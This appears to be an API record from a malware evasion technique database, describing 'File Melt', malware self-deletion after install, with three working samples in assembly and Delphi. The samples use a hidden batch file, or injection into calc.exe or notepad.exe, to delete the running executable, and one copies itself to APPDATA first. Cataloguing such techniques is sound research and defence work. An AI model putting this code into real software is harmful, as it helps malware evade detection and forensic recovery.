GET /api/techniques/167/
HTTP 200 OK
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "name": "File Melt",
    "category": [
        "https://search.unprotect.it/api/categories/14/"
    ],
    "description": "This technique is often used by Malware (sometimes as an option) to delete itself after being silently installed (upon first execution).",
    "resources": "",
    "tags": "",
    "snippets": [
        {
            "language": "https://search.unprotect.it/api/snippet_languages/6/",
            "author": "https://search.unprotect.it/api/snippet_authors/10/",
            "technique": "https://search.unprotect.it/api/techniques/167/",
            "description": "",
            "plain_code": "include 'win32ax.inc'\r\n\r\nmain:\r\n\r\n\r\n\r\n     stdcall [GetModuleFileName],0,modulename,80\r\n     stdcall [CreateFile],BatFile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0\r\n\r\n     mov [myfile], eax\r\n     cmp eax, 0xffffff\r\n     jz .exit\r\n\r\n     stdcall [wsprintf],buf,MainStr,modulename,modulename\r\n     stdcall [WriteFile],[myfile],buf,bufsize,byteswritten,0\r\n     stdcall [CloseHandle],[myfile]\r\n\r\n\r\n     stdcall [ShellExecute],0,0,BatFile,0,0,SW_HIDE\r\n\r\n.exit:\tstdcall [ExitProcess],0\r\n\r\n\r\n\r\n MainStr db \":Repeat\",13,10,\\\r\n\t   \"del %s\",13,10,\\\r\n\t   \"if exist %s goto Repeat\",13,10,\\\r\n\t   \"del del.bat\",0\r\n\r\n BatFile db \"del.bat\",0\r\n\r\n modulename rb 80\r\n buf\t    rb\t0xff\r\n bufsize = $ - buf\r\n\r\n myfile \t\t dd ?\r\n byteswritten\t     dd ?\r\n\r\ndata import\r\nlibrary kernel32,\"kernel32.dll\",user32,\"user32.dll\",shell32,\"shell32.dll\"\r\ninclude \"%include%/api/shell32.inc\"\r\ninclude \"%include%/api/kernel32.inc\"\r\ninclude \"%include%/api/user32.inc\"\r\nend data"
        },
        {
            "language": "https://search.unprotect.it/api/snippet_languages/6/",
            "author": "https://search.unprotect.it/api/snippet_authors/10/",
            "technique": "https://search.unprotect.it/api/techniques/167/",
            "description": "",
            "plain_code": "include 'win64ax.inc'\r\ninclude 'pe.inc'\r\nentry start\r\n\r\n\r\nstart:\r\n\r\n       sub rsp, 8 ; Align stack\r\n\r\n       fastcall [GetModuleFileNameA], 0, modulename, 50 ; Get full path of this file\r\n\r\n       mov rax,[gs:60h]    ; PEB\r\n       mov rax,[rax+10h]   ; ImageBaseAddress\r\n\r\n       mov [ImageBaseAddress], rax\r\n\r\n       movsxd  rax, dword [rax+IMAGE_DOS_HEADER.e_lfanew]\r\n       add rax,[ImageBaseAddress]\r\n\r\n       mov eax, dword [rax+IMAGE_NT_HEADERS64.OptionalHeader.SizeOfImage]\r\n       mov [dwSize], eax\r\n\r\n       ; To work for Win10 we must clear the sinfo struct (104 Bytes)\r\n\r\n       cinvoke memset, sinfo, 0, 104d\r\n       mov  [sinfo.cb], 104d\r\n\r\n       ; Now we create the process to inject our code in with CREATE_SUSPENDED flag so it does not actually run :)\r\n\r\n       fastcall [CreateProcessA], 0, sCalc, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, sinfo, pinfo\r\n\r\n\r\n       ; Allocate memory in the remote process (Calc.exe)\r\n\r\n       fastcall [VirtualAllocEx], [pinfo.hProcess], [ImageBaseAddress], [dwSize], MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE\r\n\r\n       ; Write it to the remote process\r\n\r\n       fastcall [WriteProcessMemory], [pinfo.hProcess], rax, [ImageBaseAddress], [dwSize], 0\r\n\r\n       ; execute the code pointed by HijackedThread into the remote process\r\n\r\n       fastcall [CreateRemoteThread], [pinfo.hProcess], 0, 0, HijackedThread, 0, 0, 0\r\n\r\nexit:  fastcall [ExitProcess], 0  ; exit this process so the injected code can delete this file !\r\n\r\n\r\n\r\n HijackedThread:\r\n\r\n       sub rsp, 8\r\n\r\n       invoke DeleteFileA, modulename  ; <-- modulename contains the full path of this file\r\n       invoke ExitProcess,0\r\n\r\n\r\n\r\nsection '.data' data readable writeable\r\n\r\n\r\nsCalc  db  'calc.exe',0  ; <-- process where we inject our code in\r\n\r\n\r\n modulename  rb 50\r\n\r\n\r\n\r\n pinfo\t      PROCESS_INFORMATION\r\n sinfo\t      STARTUPINFO\r\n\r\n ImageBaseAddress     dq 0\r\n dwSize \t      dd 0\r\n\r\n\r\nsection '.idata' import data readable writeable\r\n\r\n  library kernel32,'KERNEL32.DLL',\\\r\n\t  user32,'USER32.DLL',\\\r\n\t  msvcrt,'msvcrt.dll'\r\n\r\n\r\n import msvcrt,\\\r\n\tmemset,'memset'\r\n\r\n  include 'api\\kernel32.inc'\r\n  include 'api\\user32.inc'"
        },
        {
            "language": "https://search.unprotect.it/api/snippet_languages/1/",
            "author": "https://search.unprotect.it/api/snippet_authors/1/",
            "technique": "https://search.unprotect.it/api/techniques/167/",
            "description": "",
            "plain_code": "{\r\n  32Bit Example of File Melting\r\n}\r\n\r\nprogram Melt;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  System.SysUtils,\r\n  WinAPI.Windows,\r\n  shlobj;\r\n\r\n\r\ntype\r\n  TRemotePointer = record\r\n    Address : Pointer;\r\n    Size    : Cardinal;\r\n  end;\r\n\r\n  TMeltThreadInfo = record\r\n    // WinAPI\r\n    GetProcAddress : Pointer;\r\n    LoadLibrary    : Pointer;\r\n    GetLastError   : Pointer;\r\n    ExitProcess    : Pointer;\r\n    DeleteFileW    : Pointer;\r\n    Sleep          : Pointer;\r\n    WinExec        : Pointer;\r\n\r\n    // Str\r\n    sTargetFile    : Pointer;\r\n    sExecFile      : Pointer;\r\n  end;\r\n  PMeltThreadInfo = ^TMeltThreadInfo;\r\n\r\n{\r\n  Generate an exception message with Last Error Information\r\n}\r\nfunction GetLastErrorMessage(AFuncName : String) : String;\r\nbegin\r\n  result := Format('\"%s\" call failed with LastError=[%d], Message=[%s].', [\r\n    AFuncName,\r\n    GetLastError(),\r\n    SysErrorMessage(GetLastError())\r\n  ]);\r\nend;\r\n\r\n{\r\n  Spawn a new hidden process\r\n}\r\nfunction Spawn(APEFile : String) : THandle;\r\nvar hProc               : THandle;\r\n    b                   : Boolean;\r\n    AStartupInfo        : TStartupInfo;\r\n    AProcessInformation : TProcessInformation;\r\nbegin\r\n  result := INVALID_HANDLE_VALUE;\r\n  ///\r\n\r\n  ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));\r\n  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));\r\n\r\n  AStartupInfo.cb          := SizeOf(TStartupInfo);\r\n  AStartupInfo.wShowWindow := SW_SHOW;\r\n  AStartupInfo.dwFlags     := STARTF_USESHOWWINDOW;\r\n\r\n  UniqueString(APEFile);\r\n\r\n  b := CreateProcessW(\r\n                          PWideChar(APEFile),\r\n                          nil,\r\n                          nil,\r\n                          nil,\r\n                          False,\r\n                          0,\r\n                          nil,\r\n                          nil,\r\n                          AStartupInfo,\r\n                          AProcessInformation\r\n  );\r\n\r\n  if not b then\r\n    raise Exception.Create(GetLastErrorMessage('CreateProcessW'));\r\n\r\n  ///\r\n  result := AProcessInformation.hProcess;\r\nend;\r\n\r\n{\r\n  Melt File using Process Injection Technique\r\n}\r\n\r\nprocedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;\r\nvar _GetLastError   : function() : DWORD; stdcall;\r\n    _ExitProcess    : procedure(uExitCode : UINT); stdcall;\r\n    _DeleteFileW    : function(lpFileName : LPCSTR) : BOOL; stdcall;\r\n    _Sleep          : procedure(dwMilliseconds : DWORD); stdcall;\r\n    _MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;\r\n    _WinExec        : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;\r\nbegin\r\n  @_GetLastError   := pInfo^.GetLastError;\r\n  @_ExitProcess    := pInfo^.ExitProcess;\r\n  @_DeleteFileW    := pInfo^.DeleteFileW;\r\n  @_Sleep          := pInfo^.Sleep;\r\n  @_WinExec        := pInfo^.WinExec;\r\n\r\n  while not _DeleteFileW(pInfo^.sTargetFile) do begin\r\n    if (_GetLastError = ERROR_FILE_NOT_FOUND) then\r\n      break;\r\n    ///\r\n\r\n    _Sleep(100);\r\n  end;\r\n\r\n  _WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);\r\n\r\n  _ExitProcess(0);\r\n\r\n  /// EGG\r\n  asm\r\n    mov eax, $DEADBEAF;\r\n    mov eax, $DEADBEAF;\r\n  end;\r\nend;\r\n\r\nprocedure DoMelt_Injection(ATargetFile, AExecFile : String);\r\nvar hProc         : THandle;\r\n    ABytesWritten : SIZE_T;\r\n    AInfo         : TMeltThreadInfo;\r\n    p             : Pointer;\r\n    AThreadID     : DWORD;\r\n    AThreadProc   : TRemotePointer;\r\n    AInjectedInfo : TRemotePointer;\r\n    hKernel32     : THandle;\r\n    pSysWow64     : PWideChar;\r\n\r\n  function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;\r\n  begin\r\n    result := False;\r\n    ///\r\n\r\n    if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then\r\n      Exit();\r\n\r\n    result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);\r\n\r\n    ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));\r\n  end;\r\n\r\n  function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;\r\n  begin\r\n    ZeroMemory(@result, SizeOf(TRemotePointer));\r\n    ///\r\n\r\n    result.Size := ABufferSize;\r\n    result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    if result.Address = nil then\r\n      raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));\r\n    ///\r\n\r\n    if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin\r\n      FreeRemoteMemory(result);\r\n\r\n      raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));\r\n    end;\r\n  end;\r\n\r\n  function InjectStringW(AString : String) : TRemotePointer;\r\n  begin\r\n    result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));\r\n  end;\r\n\r\n  function InjectStringA(AString : AnsiString) : TRemotePointer;\r\n  begin\r\n    result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));\r\n  end;\r\n\r\n  function GetFuncSize(pFunc : Pointer) : Cardinal;\r\n  {\r\n    This is a very dumb but working technique, we scan for our special pattern to\r\n    get the address of our last MeltThread instruction.\r\n\r\n    We skip all epilogue instructions since the thread will end the parent process.\r\n\r\n    Other techniques exists to know the exact size of a function but is not required\r\n    for our example.\r\n  }\r\n  var I              : Integer;\r\n      pCurrentRegion : Pointer;\r\n      AFound         : Boolean;\r\n\r\n  const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);\r\n  begin\r\n    I := 0;\r\n    AFound := False;\r\n\r\n    while True do begin\r\n      pCurrentRegion := Pointer(NativeUInt(pFunc) + I);\r\n\r\n      if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin\r\n        if AFound then begin\r\n          result := I - Length(EGG);\r\n\r\n          break;\r\n        end;\r\n\r\n        AFound := True;\r\n      end;\r\n\r\n      Inc(I);\r\n    end;\r\n  end;\r\n\r\nbegin\r\n  GetMem(pSysWOW64, MAX_PATH);\r\n  try\r\n    SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);\r\n  finally\r\n    FreeMem(pSysWOW64, MAX_PATH);\r\n  end;\r\n\r\n  hProc := Spawn(Format('%s\\notepad.exe', [String(pSysWOW64)]));\r\n  try\r\n    ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));\r\n\r\n    {\r\n      Prepare Thread Parameter\r\n    }\r\n    hKernel32 := LoadLibrary('kernel32.dll');\r\n\r\n    AInfo.GetLastError   := GetProcAddress(hKernel32, 'GetLastError');\r\n    AInfo.ExitProcess    := GetProcAddress(hKernel32, 'ExitProcess');\r\n    AInfo.DeleteFileW    := GetProcAddress(hKernel32, 'DeleteFileW');\r\n    AInfo.Sleep          := GetProcAddress(hKernel32, 'Sleep');\r\n    AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');\r\n    AInfo.LoadLibrary    := GetProcAddress(hKernel32, 'LoadLibraryW');\r\n    AInfo.WinExec        := GetProcAddress(hKernel32, 'WinExec');\r\n\r\n    AInfo.sTargetFile    := InjectStringW(ATargetFile).Address;\r\n    AInfo.sExecFile      := InjectStringA(AnsiString(AExecFile)).Address;\r\n    try\r\n      AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));\r\n\r\n      AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));\r\n\r\n      if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then\r\n        raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));\r\n\r\n      WriteLn('Done.');\r\n    except\r\n      on E: Exception do begin\r\n        TerminateProcess(hProc, 0);\r\n\r\n        raise;\r\n      end;\r\n    end;\r\n  finally\r\n    CloseHandle(hProc);\r\n  end;\r\nend;\r\n\r\n{\r\n  Program Entry Point\r\n}\r\nvar ACurrentFile : String;\r\n    ADestFile    : String;\r\nbegin\r\n  try\r\n    ACurrentFile := GetModuleName(0);\r\n\r\n    ADestFile := Format('%s\\%s', [\r\n        GetEnvironmentVariable('APPDATA'),\r\n        ExtractFileName(GetModuleName(0))\r\n    ]);\r\n\r\n    if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin\r\n      {\r\n        After Melt (New Installed Copy)\r\n      }\r\n\r\n      WriteLn(Format('Melt successfully. I''m running from \"%s\"', [ACurrentFile]));\r\n      WriteLn('Press enter to exit.');\r\n      Readln;\r\n    end else begin\r\n      {\r\n        Melt Instance\r\n      }\r\n      WriteLn('Install our copy and initiate file melting...');\r\n\r\n      if NOT CopyFile(\r\n                        PWideChar(ACurrentFile),\r\n                        PWideChar(ADestFile),\r\n                        False) then\r\n        raise Exception.Create(Format('Could not copy file from \"%s\" to \"%s\"', [ACurrentFile, ADestFile]));\r\n\r\n      DoMelt_Injection(ACurrentFile, ADestFile);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        }
    ],
    "detection_rules": []
}